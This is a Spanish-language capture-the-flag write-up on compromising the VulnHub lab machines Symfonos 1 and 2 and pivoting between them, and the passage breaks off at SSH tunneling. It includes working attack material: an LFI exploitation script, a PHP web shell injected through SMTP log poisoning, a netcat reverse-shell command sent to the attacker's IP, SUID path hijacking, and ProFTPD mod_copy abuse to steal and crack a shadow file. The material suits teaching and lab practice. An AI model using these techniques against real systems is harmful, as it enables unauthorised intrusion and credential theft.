Symfonos 1 y 2 | S4vitar | Pivoting I

Symfonos 1 y 2 | S4vitar | Pivoting I

Sergiky

Introducción al Pivoting.

Bueenos días/tardes/noches hackerss, hoy vamos a montarnos un laboratorio de máquinas vulnerables para aprender un poco de Pivoting(Moverse lateralmente para comprometer otro dispositivo).

¿Y cómo saltas de Symfonos 1 a Symfonos 2?.
Symfonos 1 es capaz de ver a Symfonos 2 gracias a otra tarjeta de red que permite ver otras máquinas, en este caso Symfonos 2.

Una vez entendido el concepto vamos a realizar la configuración del laboratorio.

Configuración del laboratorio

Partimos de las máquinas ya preparadas en VirtualBox con modo puente. Al realizar un escaneo de red se pueden ver las dos máquinas y esa no es la idea, para solucionar esto vamos a configurar una red NAT, para ello vamos al siguiente apartado de configuración: Máquina > Herramientas > Administrador de red y la pestaña de redes NAT, ahí le damos a crear y en mi caso voy a utilizar el rango 192.168.100.0/24.

El siguiente paso es añadir un Adaptador de red extra a Symfonos uno, indicándole que sea de tipo red NAT y exactamente la creada por nosotros. Actualmente deberemos tener dos tarjetas de red, la primera modo puente y la segunda red NAT.

En la configuración de red de Symfonos2 debemos sustituir el modo puente por el modo NAT indicado y así las dos máquinas podrían verse entre ellas.

Ahora si levantamos las dos máquinas y realizamos un escaneo podemos apreciar que solo vemos una máquina(Symfonos1)

1
sudo arp-scan -I wlan0 -l

Recomiendo realizar una instantánea de cada máquina por si tenemos cualquier problema no tener que volver a realizar el mismo proceso.

Reconocimiento

Preparación de directorios.

Como buen hacker perezoso que soy dispongo de una pequeña función(en este caso en mi zshrc, podías utilizarlo en la bashrc) que me crea los directorios de trabajo para no ir uno a uno(Idea obtenida de s4vitar)

1
2
3
4
mkt () {
mkdir {recog,play,data}
touch "$(pwd | awk -F "/" '{print $NF}')-write-up.md"
}

Podéis poner lo que queráis, en este caso tengo tres directorios y un fichero write-up.md con el nombre de la carpeta padre(Symfonos-write-up.md)

Escaneo red interna

El escaneo de red ya lo hemos realizado antes con arp-scan, también podemos utilizar otras herramientas cómo netdiscover. Recordar que esto es un CTF, estamos usando modos activos que generar mucha traza y en un entorno real pueden levantar sospechas y ser detectado, en un entorno real un método sería mantenerse a la escucha analizando la red y ir obteniendo información de los equipos.

¿Equipo operativo?

Le lanzamos una traza ICMP(un ping de toda la vida) para comprobar la operatividad del equipo víctima.

1
ping -c 1 192.168.1.178

En la imagen se puede apreciar que el ttl=64, si miramos está página podemos ver que cada sistemas operativo tiene un tiempo de respueta por defecto, esto no significa que haya podido ser modificado.

Escaneo de puertos

Disponemos de veintemil herramientas de escaneo de puertos, aquí solo voy a realizar la enumeración de forma activa

1
sudo nmap -p- --open -sS --min-rate=4500 -vvv -n -Pn 192.168.1.178 -oG ToLosPuertos
  • -p- -> Escaneamos todo el rango de purtos(0-65535).

  • –open -> Indicamos que solo queremos mostrar los que están abiertos.

  • -sS -> Uso de Syn Scan o también conocido cómo half-open scan. En lugar de completar el three-way-hanshake(SYN -> SYN/ACK -> ACK) el escaneo envía un paquete RST tras recibir el SYN/ACK identificado puertos rápidamente y reduciendo la posibilidad de ser detectados por un firewall(aunque esto nos da igual ahora).

  • –min-rate=4500 -> Establece la tasa mínima de paquetes enviados. No recomiendo subir más porque puede provocar que se salte puertos.

  • -vvv -> Triple verbose. Queremos que nos de un chorro de información por la consola.

  • -n -> Evitamos la resolución DNS(No intentará convertira la ip en nombre de dominio).

  • -Pn -> Desactivar la opción host discovery. Esto significa en cristiano que comprueba si el host está encencido antes de escanearlo(lo hemos antes con el ping).

  • -oG -> Exportamos la información obtenida en un archivo con formato grepeable(que a continuación veréis porque).

Dispones de otras alternativas como naabu de projectdiscovery que también es muy potente.

1
naabu -Pn -host 192.168.1.178

Vamos a utilizar extractPorts, otra función definida en la zshrc robada a s4vitar para mostrar los puertos encontrados y copiarlos a la clipboard(recuerdo que estoy utilizando Arch Linux con Hyprland por eso utilizo wl-copy, si utilizas kali linux/parrot deberías cambiarlo a xclip -sel clipboard)

Servicios y versiones de los puertos

Una vez copiados en la clipboard vamos a buscar la versión y el servicio extra que corren sobre dichos puertos.

Para ello vamos a lanzar unos script básicos de reconocimiento.

1
sudo nmap -sCV -p22,25,80,139,445 192.168.1.178 -oN targeted

TIP!

Podemos sacar el codename(nombre informal de la versión) de la máquina víctima, para ello vemos que en la línea del puerto ssh, en la versión nos aparece esto:

  • OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

Y si buscamos esto en Google? -> OpenSSH 7.4p1 Debian 10+deb9u6.

Query de Google -> launchpad OpenSSH 7.4p1 Debian 10+deb9u6

En mi caso, en el primer resultado de búsqueda, al darle podemos apreciar que es un Debian Stretch.

Más abajo tenemos el puerto 80 de http, podemos realizar lo mismo y en caso de que no sea el mismo codename o otro SO podríamos pensar que hay contenedores con Docker pero no es el caso.

Antes de abrir el navegador para ver que ahí(se que estáis deseosos pillines) podéis usar si os interesa la herramienta whatweb que es como la extensión Wappalyzer, pero desde consola:

1
whatweb http://192.168.1.178

Primera exploración desde el navegador

Abrimos el navegador y vemos las tecnologías utilizadas con Wappalizer, podemos ver que la versión de apache no es la última(está es la 2.4.62) y podemos buscar diferentes cve en cve mitre. Podemos apreciar diferentes vulnerabilidades aunque no nos servirían para la explotación de la máquina, además, los tiros no van por aquí.

Revisamos el código fuente de la página(ctrl + u), vacío, no voy a poner ni una captura.

La consola y sus diferentes herramientas, tampoco vemos nada por ningún sitio.

Listar recursos compartidos de Samba

Si vemos el archivo del escaneo de puertos anterior, podemos ver el puerto 139 y el 445 incluso que la autenticación esta activada, pero no se pide.

Podemos probar a listar los recursos compartidos con smbmap:

Uso de smbmap(fallido)

1
smbmap -H 192.168.1.178

En este caso, dado un problema no encontrado a día de hoy con la herramienta no podemos utilizarla, pero no pasa ni media chicosss tenemos un montón de alternativas.

Null session con smbclient

1
smbclient -L //192.168.1.178 -N  

De esta forma no podremos ver los permisos directamente como con smbmap

Podemos acceder y ver el contenido del directorio anonymous:

Nos debemos de meter dentro del recurso compartido:

1
smbclient //192.168.1.178/anonymous -N

Y ahora podemos hacer un ls y ver los archivos, consecutivamente utilizamos el comando get para traernos el archivo a nuestro sistema local.

1
get attention.txt

Pues viendo este mensaje realista podemos apreciar tres posibles contraseñas y un usuario. También estas contraseñas me suenan a rockyou… aunque no se si tendrá algún sentido en el futuro. De momento nos apuntamos las contraseñas en un archivo passwords.txt y el usuario en usernames.txt.

Recordamos que esta máquina tiene el servicio ssh abierto, podmeos realizar un ataque por fuerza bruta para ver si algunas de estas contraseñas es válido para dicho usuario(y si cuela, recuerda que estamos en un CTF)

1
2
hydra -l zeus -p passwords.txt
hydra -l Zeus -p passwords.txt

Enumeración de usuario mediante SSH

En el archivo tarteged podemos apreciar que la versión de ssh es menor a la 7.7, esto significa que nos permite enumerar usuarios de forma válida, para ellos utilizamos searchsploit:

1
searchsploit ssh user enumeration 

Aunque sea una versión inferior, esta vulnerabilidad puede estar parcheada igualmente, pero vamos a comprobarlo.

Nos lo descargamos con:

1
searchsploit -m linux/remote/45939.py

En mi caso lo voy a renombrar con un nombre más identificable a primera vista(ssh_enum_user.py)

Voy a tener que utilizar un entorno virtual porque en arch no deja utilizar pip con el fin de no ocasionar conflictos con los paquetes del sistema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Instalamos virtualenv para python2
sudo pacman -S python2-virtualenv

# Una dependencia que hace falta para que el entorno virtual funcione
sudo pacman -S python2-typing

# Creamos el entorno
python2 -m virtualenv entorno

# Nos colocamos dentro del entorno virtual
source entorno/bin/activate

# Instalamos la dependencia paramiko para ejecutar el script
pip install paramiko

# Nos saldrá un error de paramiko aunque se puede ejecutar igual
python2 ssh_enum_user.py 2>/dev/null

Y ahora podemos comprobar si es válido la enumeración de usuarios a través de sss:

1
2
python2 ssh_enum_user.py 192.168.1.178 root 2>/dev/null
python2 ssh_enum_user.py 192.168.1.178 rogsfdkjgsdfot 2>/dev/null

Podemos apreciar que no funciona, así que a otra cosa mariposa.

Para salir del entorno virtual usa la palabra deactivate.

Acceso al usuario helios desde samba

Cuando nos conectamos con smbclient, vimos un recurso compartido llamado helios y en el comentario decia “Helios personal share”

¿Y si probamos a conectarnos con helios a dicho recurso usando el protocolo smb?
Lo primero de todo es añadirlo a nuestro “diccionario” de usuarios, a continuación, probamos a conectarnos y probamos las contraseñas(en este caso podemos una a una porque son tres)

1
smbclient -L //192.168.1.178/helios -U helios

Y con la contraseña qwerty vemos que nos deja listar. A continuación procedemos a entrar como dicho usuario.

1
2
3
4
5
smbclient //192.168.1.178/helios -U helios
ls

# Descargamos todos los archivos.
mget *

En el archivo todo.txt podemos encontrar diferente información:

De aquí nos fijamos en el directorio encontrado y lo abrimos en el navegador.

¿Pero porque se ve así de feo?

Virtual hosting

Si hacemos ctrl+u para ver el código fuente opdemos encontrar que esta cargado los recursos desde symfonos.local, pero claro, mi equipo no conoce este dominio.

Para solucionar esto deberemos modificar el /etc/hosts de nuestro equipo y añadir dicho nombre de dominio.

Ya solo con recargar la página web podemos apreciar que cargan los recursos y podemos hacer ping perfectamente.

En la página podemos apreciar que el post lo ha realizado admin, entonces ya sabemos que es un usurio válido.

Podemos abrir wappalyzer y vemos la versión de wordpress y jquery, podemos apreciar que son algo obsoletas y tienen expuestas algunas vulnerabilidades, aunque no nos interesa para resolver este CTF.

Enumeración de plugins de Wordpress

En lugar de utilizar WPScan y automatizar las cosas vamos a seguir de forma manual, puede ser algo más tedioso y complicado para algunas personas, pero si quieres ser un buen hacker debes acostumbrarte a seguir esta metodología.

Empezamos comprobando si el directorio /wp-content/plugins/ tiene capacidad de directory listening, pero este esta vacío.

Si volvemos al código fuente podemos enumerar alguno de ellos a simple vista(ojo no tiene porque aparecer todos los plugins en el código fuente). Podemos utilizar este oneliner para recoger todos estos plugins.

1
curl -s -X GET "http://192.168.1.178/h3l105/" | grep "wp-content" | grep -oP "'.*?'" | grep "symfonos.local" | cut -d '/' -f 1-7 | sort -u | grep plugins
  1. curl -s -X GET -> Realizamos una petición con el modo silencioso(-s) y por el método GET(-X)
  2. grep “wp-content” -> Obtenemos las líneas que contengan wp-content.
  3. grep -oP “‘.*?’”* -> Expresión regular para ibtenemos todo el contenido que está entre comillas siples(‘’).
  4. grep “symfonos.local” -> Nos quitamos otros matches no deseados.
  5. cut -d ‘/‘ -f 1-7 -> Utilizamos cut con delimitador(-d) para indicar que queremos que nos muestre hasta la séptima barra.
  6. sort -u -> Ordenamos alfabéticamente y quitamos los matches repetidos.
  7. grep plugins -> Filtramos por plugins.

¿mail-masta?
En el escaneo de puertos vimos el puerto 25 abierto, SMTP servicio de correo electrónico.

Explotación

LFI

Dadas estas coincidencias podemos buscar con searchsploit dicho plugin.

1
searchsploit mail masta

Revisamos el txt searchsploit -x 40290.txt y encontramos la ruta vulnerable al LFI -> /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Y efectivamente, logramos el LFI.

Script en bash para realizar el LFI desde consola

¡Genial!, hemos comprobado que podemos leer archivos, por lo que es más cómodo creándonos un script en bash para trabajar de manera más cómoda:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env bash

check_dependencies(){
echo "[+] Checking... [+]"

# Check if gum is installed.
gum -h &>/dev/null
if [[ $? -ne 0 ]]; then
exit 1
fi
}

# For use the function in subshells(in gum)
export -f check_dependencies

# Check dependices
gum spin --spinner dot --title "Checking dependencies.." -- bash -c "check_dependencies"

exit_code=$?

if [[ $exit_code -ne 0 ]]; then
if [[ $exit_code -eq 1 ]]; then
read -p "[*] Gum is not installed, do you want to install(y/n)?" option
if [[ "$option" != "y" && "$option" != "Y" ]]; then
echo -e "\nSee you soon:)"
exit 2
fi

fi
os_install_dependencies
fi


os_install_dependencies(){
type_os=$(cat /etc/os-release | head -n 1 | grep -oP "\".*?\"" | tr -d '"')
case "$type_os" in
"Arch Linux")
sudo pacman -S gum
;;
"Kali GNU/Linux")
sudo apt install gum
;;

esac
}

# Start program

help_panel(){
gum style \
--foreground 212 --border-foreground 212 --border double \
--align center --width 50 --margin "1 2" --padding "2 4" \
'Help Panel :o' ' ---------------' ' -h -> Help Panel' ' -u -> Indicate the URL, ex:' 'http:/example.com/file.php?=LFI'
}

lfi(){
url=$1

exit_order="qa!"
exit=0

# Jump line
echo
while [[ $exit -ne 1 ]]; do

# Indicate the file
gum input --placeholder "/etc/passwd or qa! to exit" > .file.tmp
file=$(cat .file.tmp)
shred -u .file.tmp

if [[ "$file" != "$exit_order" ]]; then

full_url=$(echo "$url" | sed -e "s|LFI|$file|g")

curl -s -X GET "$full_url" -o .data.tmp

if [[ -s .data.tmp ]]; then
gum pager < .data.tmp
shred -u .data.tmp
else
gum log --structured --level error "File not found." name "$file"
fi
else
exit=1
fi
done
}

# Menu
help_panel_shof=false
while getopts "hu:" opt; do
case $opt in
u) lfi $OPTARG ;;
h) help_panel ;;
?) help_panel ;;
esac
done

# Check if first argument was usage, if not keep be 1(when execute the program without switches.)
if [[ "$OPTIND" -eq 1 ]]; then
help_panel
exit 1
fi

No es el mejor script, pero funciona, ya os dejo a vostros restructurarlo y mejorarlo.

LFI to RCE. Log poisoning.

Primero de todo, en el /etc/passwd podemos ver que usiarios disponen de una shell asignada, en este caso nos aparece el usuario root y helios.
Hemos visto que la máquina tiene el ssh abierto.
¿Y sí el usuario helios dispone de una key para conectarse?

Intento de visualización de clave privada ssh de helios

Ver la clave privada de helios

1
/home/helios/.ssh/id_rsa

Listar procesos en ejecucción

Podemos intentar listas procesos desde el /proc/schedstat

No nos sale nada de información útil…

Puedes probar con /proc/scheddebug, pero tampoco encuentra nada.

Apache, ssh, mail Log poisoning

Comprobamos si los logs están disponibles, comprobando si podemos ver algunas de las siguientes rutas(por defecto):

  • /var/log/apache2/access.log (apache)
  • /var/log/auth.log (ssh)
  • /var/mail/helios (smtp)

Este último archivo si lo podemos ver:

Genial!, podemos aprovechar que estamos en una ruta donde se esta ejecutando un código .php(count_of_send.php) para intentar mandar código php y que se interprete.

¿Cómo podemos generar logs en dicho fichero?

Podemos enviar un mail con telnet aunque también lo puedes hacer con netcat:

1
2
3
4
5
6
7
8
9
10
# Nos conectamos a la máquina por el puerto 25
telnet 192.168.1.178 25

# Podemos comprobar si no require autenticación y podemos enviar directamente un correo:

MAIL FROM: sergiky
RCPT TO: helios
DATA
<?php system($_GET['cmd']); ?>
.

Comprobamos el fichero de log:

Vemos que no aparece el contenido, ¿lo habrá interpretado?

1
curl -s -X GET 'http://192.168.1.178/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id'

Conectarse con netcat

Vamos a ganar acceso al equipo conectándonos con netcat, para ellos podemos comprobar que netcat esta instalado, para debemos de poner which+nc, recuerda URL encodearlo para que funciona(en este caso solo el espacio).

Vemos que sí, pues podemos lanzar una shell hacía nuestro equipo de la siguiente manera:

1
2
3
4
5
6
7

# Nos ponemos en escucha desde nuestro equipo(en otra consola):
nc -nlvp 443

# Comando para mandar la shell desde la víctima a nuestro equipo:
curl -s -X GET 'http://192.168.1.178/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc+-e+/bin/bash+192.168.1.160+443'

En el último comando(hostname -I) podéis apreciar que hay dos tarjetas de red verdad?…:)

Tratamiento de la TTY

Pero vemos que esta rara, no parece una terminal a la que estamos acostumbrados.

Para ello nos podemos lanzar una pseudoconsola, simulamos una nueva sesión de una bash sin dejar el registro predeterminado que deja script porque lo estamos dirigendo al /dev/null:

1
script /dev/null -c bash

No pasa nada si veis el prompt raro, esto es porque
las proporciones no son las adecuadas con las nuestras.

A continuación realizamos un ctrl+z.

1
2
stty raw -echo; fg
reset xterm

Ahora puedes realizar ctrl+c(antes se te salia de laconsola), pero no podemos hacer ctr+l para limpiar la pantalla, para eso utilizamos:

1
export TERM=xterm

Para adecuar las proporciones de la nuevas terminal, debemos obtener las proporciones de una terminal nuestra identica de tamaño y poner el siguiente comando:

1
stty size

Los resultados obtenimos los vamos a introducir a la máquina víctima:

1
stty rows 20 columns 84

Ahora veremos que se ha corregido el prompt y podemos hacer un nano para ver que las dimensiones son correctas.

Escalada de privilegios

Una vez aquí antes de raelizar la escalada, podemos ver contra que sistema operativo estamos, para ello utilizamos el comando lsb_release -a y podemos apreciar que es un stretch como vimos anteriormente el codename

Utilizamos el comando id y vemos que no hay ningún grupo interesante, buscamos por archivos con privilegios SUID(Nos permite ejecutar un archivo como si del propietario tratarse, preferiblementpreferiblementestos casos):

1
find / -perm -4000 -user root 2>/dev/null

Si miramos con file lo que es, vemos que es un binario compilado de 64 bits para Linux.

Si probáis a ejecutarlo, veréis que os saldrá un output similar al del comando curl, si miramos con con strings para ver los caracteres legibles y usando less para empezar desde arriba:

1
strings /opt/statuscheck | less

¿Qué podemos intuir aquí?
Que no se están ejecutando rutas absolutas(/usr/bin/curl), al cometer este fallo podemos realizar path hijacking, sucedería lo mismo si estuvieramos importando librerías de algún sitio sin usar rutas absolutas, Library Hijacking.

Path Hijacking

Esta técnica aprovecha el uso de ruta relativa en lugar de absoluta, cuando no explicas donde está situado dicho binario, automáticamente, empieza a recorrer el PATH(echo $PATH), hasta que encuentra el binario en alguna de las rutas indicadas, en este caso, curl estaría en /usr/bin/.

Podemos aprovecharnos de esto modificando el PATH y añadiendo una ruta antes de la mencionada, así se ejecutaría el programa que se llame curl(que vamos a crear nosotros) en la nueva ruta que añadamos. Y si recordamos lo que he comentado anteriormente, este archivo es ejecutado como root(al igual que curl que está dentro de él).

Vamos a crear el archivo curl, en este caso me voy a ir al directorio /dev/shm/ que es el útilizado para la memoria RAM, son datos temporales(cuando se reinicie la máquina se borran) y de gran velocidad.

1
2
3
4
5
6
7
8
9
10
# Creamos un fichero llamado curl
touch curl

# Le asignamos permisos de ejecucción
chmod +x curl

# Vamos a modificar los privilegios de la bash del sistema para darle permisos SUID

# Abrimos el archivo y ponemos lo siguiente(recuerda que esto se ejecutará con el usuario root)
chmod u+s /bin/bash

Al asignarle privilegios SUID a la bash todo el usuario que invoque una nueva bash esta será iniciada por el usuario root y se la devolverá con dicho usuario.

Ahora vamos a modificar el path para que encuentre nuestro archivo como antes hemos comentado:

1
2
# Puedes poner el directorio local (.) o /dev/shm o donde estes
export PATH = .:$PATH

Ejecutamos el programa: /opt/statuscheck

¿Porque no se ve nada de output?
Porque el curl ha sido secuestrado y se utiliza el curl creado por nosotros.

Checkar que la bash se le ha asignado permisos, deberías apreciar una s

1
ls -l /bin/bash

Y utilizamos el siguiente comando para elevar los privilegios.

1
bash -p
  • -p: -p de privilageeeee.

Fijate que no hace falta poner sudo delante porque la bash es SUID.

Puedes ver la flag de root, aunque en Vulnhub no sirve para nada:

Empezamos el pivoting

Para hacer el pivoting no hacía falta disponer de root, pero marcamos como completa la máquina.

Host discovery

Vamos a crear un archivo bash ejecutable(darle permisos de ejecucción).

  • /dev/shm: Archivos almacenados en RAM, son más rápidos, pero se borran al reiniciar el archivo.

En este caso lo voy a llamar hostDiscovery.sh y va a tener el siguiente contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
tput cnorm
exit 1
}

trap ctrl_c INT

tput civis

for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 192.168.100.$i" &>/dev/null && echo "[+] El host 192.168.100.$i esta activo" &
done; wait

tput cnorm

Podeis apreceiar que aparecen muchas IP, pero estás son generadas por la forma que se crea el adaptador NAT en virtualbox, nuestra ip es la 192.168.100.4 y otra máquina que está conectada es la 192.168.100.5.

Con los siguientes comandos podemos descubrir para que son algunas ips generadas con virtualbox:

1
2
VBoxManage list natnetworks
VBoxManage list dhcpservers

192.168.100.3 -> Servidor DHCP.
192.168.100.2 -> No aparece, pero puede que sea el name server.
192.168.100.1 -> Default gateway. Se conecta con nuestro equipo host y manda el tráfico por internet.

Un truco, si en la máquina Symfonos 2 no os muestra la ip, os aparece localhost(127.0.0.1) a mi me ha funcionado apagar las dos máquinas y encender primero Symfonos2 y luego Symfonos1.

Port scanning

Puedes subir un binario compilado de nmap o te puedes crear tu propia utilidad:

Os recomiendo copiaros hostDiscovery.sh y llamarlo portDiscovery.sh ya que vamos a reutilizar parte del script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
tput cnorm
exit 1
}

trap ctrl_c INT

tput civis

for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/192.168.100.5/$port 2>/dev/null && echo '[+] Puerto $port abierto'" &
done; wait

tput cnorm
  • echo ‘’ /dev/tcp/192.168.100.5/$port: Intenta establecer una conexión mediante TCP al host y puerto indicado.
  • 2>/dev/null: Al establecer la conexión no emite ningún tipo de output así que solo con no mostrar los errores vale.

El programa puede tardar un rato en ejecutarse, si no os funciona ctrl+c podéis utilizar ctrl+z y en caso de no ver el cursor poner tput cnorm como en el script.

Túnel proxy con Chisel.

Vamos a montarnos un túnel con Chisel para poder tener accesible los puertos de la máquina víctima.

El primer paso es descargarnos Chisel, recomiendo ir a las releases y descargar la última versión disponible, si utilizas arch puedes instalarlo mediante AUR(chisel-jpillora) o añadiendo los repositorios de black arch y descargarlo con pacman.

En caso de descargar la última release desde github o al hacer la copia de /usr/bin/chisel, si quieres reducir el peso del ejecutable ya que está en go, puedes utilizar los siguientes comandos:

1
2
3
4
5
# Para ver el peso del archivo
du -hc chisel

# Para disminuir el peso(Así tardará menos en subirse a la máquina víctima)
upx chisel

Para pasar el archivo nos creamos un servidor web en python en el directorio donde está chisel(por defecto ya tiene directory listening activado y podemos ver los activos y descargarnoslos-

1
python3 -m http.server 80

Para descargarlo en la víctima sería con un simple wget:

1
wget http://192.168.1.160/chisel

Le aplicamos permisos de ejecucción:

1
chmod +x chisel

Bien, ya disponemos del chisel en las dos máquinas pues vamos a conectar las máquinas, primero empezamos con la máquina atacante(si tu máquina melón):

1
chisel server --reverse -p 1234
  • server: Configurar Chisel en modo servidor, esperando conexiones de clientes.

  • –reverse: Configuración para túneles reversos. El cliente inicia la conexión en lugar del servidor y una vez conectado el servidor recibe conexiones del cliente para redirigir el tráfico.

  • -p 1234: Indicas el puerto de conexión.

Tu puedes llevarte puerto por puerto de la máquina que no ves a tu equipo:

1
./chisel client 192.168.1.160:1234 R:80:192.168.100.5

Pero no esto no nos interesa porque es muy tedioso, así que vamos a utilizar la siguiente forma:

1
./chisel client 192.168.1.160:1234 R:socks
  • client: Indicamos que nos queremos conectar como cliente.

  • R:socks: SOCKS5 permite redirigir el tráfico de toda máquina alcanzable desde la víctima.

Una vez nos salga el mensajito de session detectada, podríamos utilizar proxychains(/etc/proxychains.conf) y añadir abajo de todo la conexión(si se cierra alguna conexión el túnel se cierra):

Con proxychain podemos enrutar el tráfico de los programas que ejecutemos en nuestro equipo a través del proxy creado, así es cómo si estuvieramos en la máquina víctima.

Si probamos a testear si el puerto 80 de la máquina que “no vemos” está abierto con nmap:

¿Pero porque no va, si hemos añadido el proxy?

Vamos a realizar tres cambios:

1
proxychains nmap -p80 --open -T5 -v -n 192.168.100.5 -sT -Pn
  • proxychains: Añadimos proxychains para indicar por donde va a ir la información(en este caso por el proxy que le hemos indicado en el archivo de configuración).

  • -sT: Utiliza el formato tradicional del three-handshake, es más lento y menos sigiloso, pero funciona bien a través de proxies. Utiliza directamente la pila del SO(incluye protocolos cómo TCP, UDP…)

  • -Pn: No queremos que nos descubra host a través del protocolo ARP.

Importante. Si tenemos otra línea de proxy y no funciona, recomiendo comentarla(en mi caso tenía la de tor). Si quires quitar los mensajes que salen por consola de proxychains puedes utilizar el parámetro -q de quiet.

Y vualá, podemos apreciar que el comando ha funciona.

Reconocimiento Symfonos2

Escaneo de puertos

Genial, una vez entendido como podemos ejecutar comandos a través de un túnel, vamos a escanear los puertos de la máquina Symfonos 2:

1
roxychains -q nmap --top-ports 500 --open -T5 -v -n 192.168.100.5 -sT -Pn -oG allPorts | grep -vE "Discover"
  • –top-ports 500: Solo escaneamos los 500 puertos más importantes ya que el escaneo mediante el parámetro -sT es más lento.
  • grep -vE “Discover”:Con la v mostramos los resultados que no coinciden con lo buscado, con -E podemos utilizar expresiones regulares, ej: quieres excluir varias líneas con diferentes palabras “Discover|Open”.

Recordar que tenemos la utilidad extractPorts ya mencionada en el primer escaneo. El siguiente paso es enumerar la versión y servicio que corresponde con cada puerto, para eso podemos utilizar unos scripts de reconocimiento de nmap

1
proxychains -q nmap -sT -Pn -sCV -p21,22,80,139,445 192.168.100.5 -oN targeted
  • -sT: Seguramente tengamos que arrastrar este parámetro en más de un comando, nmap por defecto usa SYN Scan(-sS) si el usuario no tiene permisos manda paquetes raw, TCP connection Scan(-sT) más fácil de detectar y más lento. Yo lo indico para saber en cada momento que estamos haciendo.

Exploración desde el navegador

¿Cómo podemos abrir esto desde el navegador?
Nosotros ponemos 192.168.100.5 en la URL y no nos carga el recurso, claramente es porque no tenemos acceso, desde la terminal utilizabamos proxychain, aquí en lugar de lanzar firefox con proxychains podemos descargarnos la extensión/addon Foxyproxy y añadir una entrada como la siguiente:

No os olvideis darle a guardar!.

Antes de ir por la web, vamos a ver que encontramos con smb, ya que el puerto 139 y 445 están abiertos.

Enumeración smb

1
proxychains -q smbclient -L //192.168.100.5 -N

Probamos a meternos a anonymous y descargarnos los archivos que existan.

Si miramos este archivo totalemte realista, podemos encontrar varias cosas extrañas como el backup del /etc/shadow en /var/backups/shadow.bak, pero si bajamos un poco podemos encontrar el usuario aelous que esta compartiendo mediante smb el siguiente directorio /home/aeolus/share(en smb el directorio de anonymous).

FTP

Volvemos al archivo targeted y vemos que el puerto 21 es un servicio ftp y la versión es ProFTPD 1.3.5(ProFTPD es un tipo de software para ftp) podemos apreciar que la versión esta algo anticuada(si buscas en internet te saldrá la última, 1.3.9).

Y si hacemos una rápida busqueda con searchsploit:

Lo suyo es ir probando uno por uno, pero para facilitar las cosas, el único que nos va a servir de ayuda es el último:

Vamos a inspeccionarlos con searchsploit -x linux/remote/36742.txt

Esta vulnerabilidad nos permite(sin estar autenticados) copiar un recurso de origen(site cpfr /etc/passwd) a un recurso de destino(site cpto /tmp/passwd.copy).

Entramos al servidor ftp

1
proxychains -q ftp 192.168.100.5

Y este nos pedirá unas credenciales, puedes probar las que quieras, verás que no tendrás acceso, a continuación, te saldrá un 530, pero, si utilizamos el comando help podemos apreciar que el comando site está disponible.

A partir de aquí nos debemos de hacer dos preguntas:

  1. ¿Qué copiamos de origen?
  2. ¿Y a dónde lo copiamos de destino?

Recordar que antes hemos visto una ruta donde se almacena una copia de seguridad del archivo shadow(/var/backups/shadow.bak), vamos a copiar dicho archivo:

1
site cpfr /var/backups/shadow.bak

En el archivo log.txt también hemos visto que la carpeta compartida por SMB a la que hemos accedido antes(anonymous) estaba en la siguiente ruta del sistema: “/home/aeolus/share”, así que vamos a copiar el archivo ahí:

1
site cpto /home/aeolus/share/shadow.bak

Accedemos al recurso compartido y nos descargamos el archivo:

1
proxychains -q smbclient //192.168.100.5/anonymous -N

John the ripper para crackear shadow

Con la herramienta John the ripper podemos intentar crackear los hashes existentes en este archivo.

Un truco, si tienes el comando locate y no te acuerda donde tienes un archivo es una ruta muy larga, puedes utilizar lo siguiente para agilizar el proceso.

Si utilizas una zsh puedes ejecutar comandos que esten contenidos en $(), para ello te vas al paréntesis de cierre y dándole al tabulador se ejecuta el comando y se cambie por el output, ej:

1
john -w:$(locate rockyou.txt) 192.168.100.5 shadow.bak

En mi caso tengo el archivo en la siguiente ruta:

1
john -w:/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt shadow.bak

🏆 Premio!. Podemos ver que nos encuentra la contraseña de auelus: sergioteamo.

Entramos mediante ssh

Usuario y contraseña, ¿dónde puedo probar esto?. Tenemos el servidor ssh abierto por el puerto 22, vamos a darle un intento:

1
proxychains -q ssh aeolus@192.168.100.5

Explotación servicio web oculto.

Para poder hacer el ctrl+L:

1
export TERM=xterm

Comprobamos la versión del sistema operativo:

1
lsb_release -a

Intentamos listar los permisos de sudo para este usuario:

1
sudo -l

Nos pide contraseña, introducimos sergioteamo, pero apreciamos que dicho usuario no puede utilizar sudo.

Mostramos los procesos que se están ejecutando en el sistema:

1
ps -faux
  • f: Forest. Muestra los procesos en un formato árbol.
  • a: All. Incluye todos los procesos aunque no sean de este usuario.
  • u: User. Información legible para los humanos y más información cómo usuario propieatrio del proceso, comando ejecutado, uso de CPU…
  • x: Procesos no vinculados a ninguna terminal, procesos en segundo plano.

De un vistazo rápido nada.

Podemos ver los puertos abiertos:

1
2
3
4
# No existe en la máquina
netstat -nat

ss -nltp
  • ss: Sockets Staticks. Para mostrar conexiones sobre conexiones de red.
  • -n: Muestra las direcciones ip y elimina la resolución DNS.
  • l: Muestra solo los socket en estado listening(los que estan a la espera de conexiones entrantes)
  • t: Filtra por las conexiones TCP.
  • -p: Información sobre los procesos asociados a cada socket, ej: nombre, PID.

Podemos apreciar diferentes puertos que no veiamos desde fuera, esto se debe a las diferentes configuraciones de firewall, algunos puertos nuevos por ejemplo serían el 3306, 8080

¿Cómo podemos utilizar dicho puerto?

Acceso a servicios internos mediante ssh tunneling.

Para ello podemos utilizar ssh para crear un túnel(redirección de puertos).

